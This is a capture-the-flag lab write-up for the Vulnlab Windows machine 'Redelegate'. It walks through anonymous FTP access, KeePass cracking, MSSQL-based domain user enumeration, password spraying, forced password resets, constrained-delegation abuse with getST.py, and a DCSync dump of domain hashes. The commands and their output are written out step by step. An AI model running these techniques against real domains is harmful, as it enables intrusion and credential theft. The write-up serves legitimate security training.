VL Redelegate
Redelegate is a hard-rated Windows machine by Geiseric on Vulnlab. The core concepts here are password spraying, enumerating domain users via MSSQL and diving deeper into kerberos delegation.
Enumeration
Portscan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -sV 10.10.100.3
...
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-23 11:19:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
We are dealing with a domain controller, unusual services are FTP (21) and MSSQL (1433). Let’s check FTP first:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ftp 10.10.100.3
Connected to 10.10.100.3.
220 Microsoft FTP Service
Name (10.10.100.3:xct): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||51251|)
125 Data connection already open; Transfer starting.
10-20-24 12:11AM 434 CyberAudit.txt
10-20-24 04:14AM 2622 Shared.kdbx
10-20-24 12:26AM 580 TrainingAgenda.txt
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget *
Note that binary mode was used to download the files. The file CyberAudit.txt
contains some previous engagement findings and their mitigation status. It suggests that removing unused AD objects is not mitigated yet, as well as checking ACLs. The file TrainingAgenda.txt
shows that employees had a training about using strong passwords instead of something like “SeasonYear!”.
Especially the last hint gives us a format we could try, so we generate a simple word list:
1
2
3
4
5
Spring2024!
Summer2024!
Fall2024!
Autumn2024!
Winter2024!
Since we don’t have any domain users yet, we can only try them against the KeePass file Shared.kdbx
, which was also on the share:
1
2
3
4
5
6
~/tools/john/run/keepass2john Shared.kdbx | tee hashes
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca
~/tools/john/run/john hashes -w=passwords.txt
***2024! (Shared)
Session completed.
We found the password and can now open the KeePass file, for example with keepassxc
. One of the credentials inside is for MSSQL which we saw running on the machine, so we try to connect:
1
2
3
4
5
mssqlclient.py 'sqlguest:'***'@redelegate.vl'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
SQL (SQLGuest guest@master)>
This works but we just have guest access. One thing we could try is to use xp_dirtree
to get the hash of the service account running the service, but in this case it won’t help. Instead we are going to enumerate domain users from here (even though the sqlguest account is not a domain user).
First, we get the domain name:
1
2
3
4
SQL (SQLGuest guest@master)> SELECT DEFAULT_DOMAIN();
----------
REDELEGATE
Next we get the Domain SID by querying one of the default groups for it (the first 48 bytes will be the domain SID):
1
2
3
4
SELECT SUSER_SID('REDELEGATE\Domain Admins')
-----------------------------------------------------------
b'010500000000000515000000a185deefb22433798d8e847a00020000'
We can convert this to a readable string with PowerShell:
1
2
3
4
5
6
7
8
9
$BinarySID = "010500000000000515000000a185deefb22433798d8e847a00020000"
$SIDBytes = [byte[]]::new($BinarySID.Length / 2)
for ($i = 0; $i -lt $BinarySID.Length; $i += 2) {
$SIDBytes[$i / 2] = [convert]::ToByte($BinarySID.Substring($i, 2), 16)
}
$SID = New-Object System.Security.Principal.SecurityIdentifier($SIDBytes, 0)
$SID.Value
S-1-5-21-4024337825-2033394866-2055507597-512
We can now enumerate users by appending something different on the part that identifies the user (here 512). For example with a quick bash loop:
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
USERNAME="sqlguest"
PASSWORD="***"
SERVER="redelegate.vl"
SID_BASE="S-1-5-21-4024337825-2033394866-2055507597"
for SID in {1100..1200}; do
QUERY="SELECT SUSER_SNAME(SID_BINARY(N'$SID_BASE-$SID'))"
echo "$QUERY" > query.sql
mssqlclient.py "$USERNAME:$PASSWORD@$SERVER" -file query.sql | grep -a REDELEGATE
rm query.sql
done
Running it gives the domain users we want:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bash enum.sh
REDELEGATE\FS01$
REDELEGATE\Christine.Flanders
REDELEGATE\Marie.Curie
REDELEGATE\Helen.Frost
REDELEGATE\Michael.Pontiac
REDELEGATE\Mallory.Roberts
REDELEGATE\James.Dinkleberg
REDELEGATE\Helpdesk
REDELEGATE\IT
REDELEGATE\Finance
REDELEGATE\DnsAdmins
REDELEGATE\DnsUpdateProxy
REDELEGATE\Ryan.Cooper
REDELEGATE\sql_svc
Getting a Foothold
Now that we have a list of users, we can spray the password scheme that we learned about earlier against those users:
1
2
3
nxc smb redelegate.vl -u users.txt -p passwords.txt
...
SMB 10.10.100.3 445 DC [+] REDELEGATE\Marie.Curie:***2024!
This leads to our first domain user credentials. At this point we can do a lot more enumeration like for example checking shares authenticated and gathering bloodhound data. First we gather bloodhound data:
1
2
3
4
5
6
nxc ldap redelegate.vl -u marie.curie -p '***2024!' --bloodhound -c all --dns-server 10.10.100.3
SMB 10.10.100.3 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False)
LDAP 10.10.100.3 389 DC [+] redelegate.vl\marie.curie:Fall2024!
LDAP 10.10.100.3 389 DC Resolved collection methods: rdp, objectprops, group, session, psremote, dcom, trusts, localadmin, container, acl
LDAP 10.10.100.3 389 DC Done in 00M 05S
LDAP 10.10.100.3 389 DC Compressing output into ***
After loading it into bloodhound, we notice that there is a path to high value targets from our user:
To change the password of that user, we can use the following command:
1
2
3
4
5
6
7
8
9
10
11
12
changepasswd.py redelegate/helen.frost@redelegate.vl -newpass 'Start123!' -altuser redelegate/marie.curie -reset -altpass '***2024!' -debug
[*] Setting the password of redelegate\helen.frost as redelegate\marie.curie
[*] Connecting to DCE/RPC as redelegate\marie.curie
[+] Successfully bound to SAMR
[+] Sending SAMR call hSamrSetNTInternal1
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
evil-winrm -i redelegate.vl -u "helen.frost" -p 'Start123!'
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents>
This gives us a shell on the domain controller and our first flag.
Privilege Escalation
First we check our privileges and notice that this user has the SeEnableDelegationPrivilege
, which means that the user can enable delegation privileges on the domain.
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\Helen.Frost> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
This is a dangerous privilege that allows to escalate privileges in multiple ways. Let’s take this opportunity to remember the 3 types of delegation:
Unconstrained Delegation: A machine configured with Unconstrained Delegation will store any TGT of users connecting to it in memory. This allows the machine to then impersonate that user. To configure this, the userAccountControl attribute of the machine gets modified to include the TRUSTED_FOR_DELEGATION
flag (which requires the SeEnableDelegationPrivilege
domain privilege).
Constrained Delegation: A machine configured with Constrained Delegation will be able to impersonate any user against another machine. To configure this, the userAccountControl attribute of the object gets modified to include the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
flag (which requires the SeEnableDelegationPrivilege
privilege) and the msDS-AllowedToDelegateTo
attribute gets set to the target spn that we want to authenticate as any user against.
Resource-Based Constrained Delegation: A machine configured with Resource-Based Constrained Delegation will trust another user to impersonate any user on itself. To configure this the AllowedToActOnBehalfOfOtherIdentity
property must be set to the SID of the object that is allowed to control it. This does not require SeEnableDelegationPrivilege
and the machine can modify it on itself.
So in other words, RBCD is a privilege given by a machine account on itself and does not require any special privileges, while both Unconstrained- and Constrained Delegation do require the SeEnableDelegationPrivilege
because those affect other resources in the domain.
With this information, we can rule out RBCD and focus on the other delegations. As seen on the predecessor machine “Delegate”, we could add a machine account, configure it with unconstrained delegation and then coerce the domain controller to authenticate to that machine. This would require the ability to add machine accounts and also to add DNS entries (for the coercion - kerberos works with names instead of ip addresses). Both is not possible in this case, since the environment has been hardened.
This leaves us with only Constrained Delegation which does not require a new DNS entry. It does however also require control of a machine account. Luckily in this case, the user helen.frost
has GenericAll
privileges on a computer object called FS01$
. This allows us to reset the password of that computer object (alternatively Shadow Credentials could be used, if there would be a configured CA):
1
2
3
4
5
6
7
8
changepasswd.py redelegate/'fs01$'@redelegate.vl -newpass 'Start123!' -altuser redelegate/helen.frost -reset -altpass 'Start123!' -debug
[*] Setting the password of redelegate\fs01$ as redelegate\helen.frost
[*] Connecting to DCE/RPC as redelegate\helen.frost
[+] Successfully bound to SAMR
[+] Sending SAMR call hSamrSetNTInternal1
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
Additionally, we need to use our SeEnableDelegationPrivilege
to make the necessary changes:
1
2
Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -Add @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
As described earlier we set msDS-AllowedToDelegateTo
to the resource we want to control (ldap on the domain controller in order to perform a dcsync) and the TrustedToAuthForDelegation
flag.
Now we can use the credentials of the fs01 machine account to request a service ticket as any user (here the dc itself) to the dc:
1
2
3
4
5
6
7
getST.py redelegate.vl/fs01\$:'Start123!' -spn ldap/dc.redelegate.vl -impersonate dc
[*] Getting TGT for user
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc.ccache
Since this is a ticket for ldap, it allows us to perform dcsync:
1
2
3
4
5
6
7
8
9
10
export KRB5CCNAME=dc.ccache
secretsdump.py -k -no-pass dc.redelegate.vl -dc-ip 10.10.100.3
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:***:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:***:::
Christine.Flanders:1104:aad3b435b51404eeaad3b435b51404ee:***:::
...
With the admin hash we can now connect to the DC and read the final flag. If you want to try out the machine, join Vulnlab :)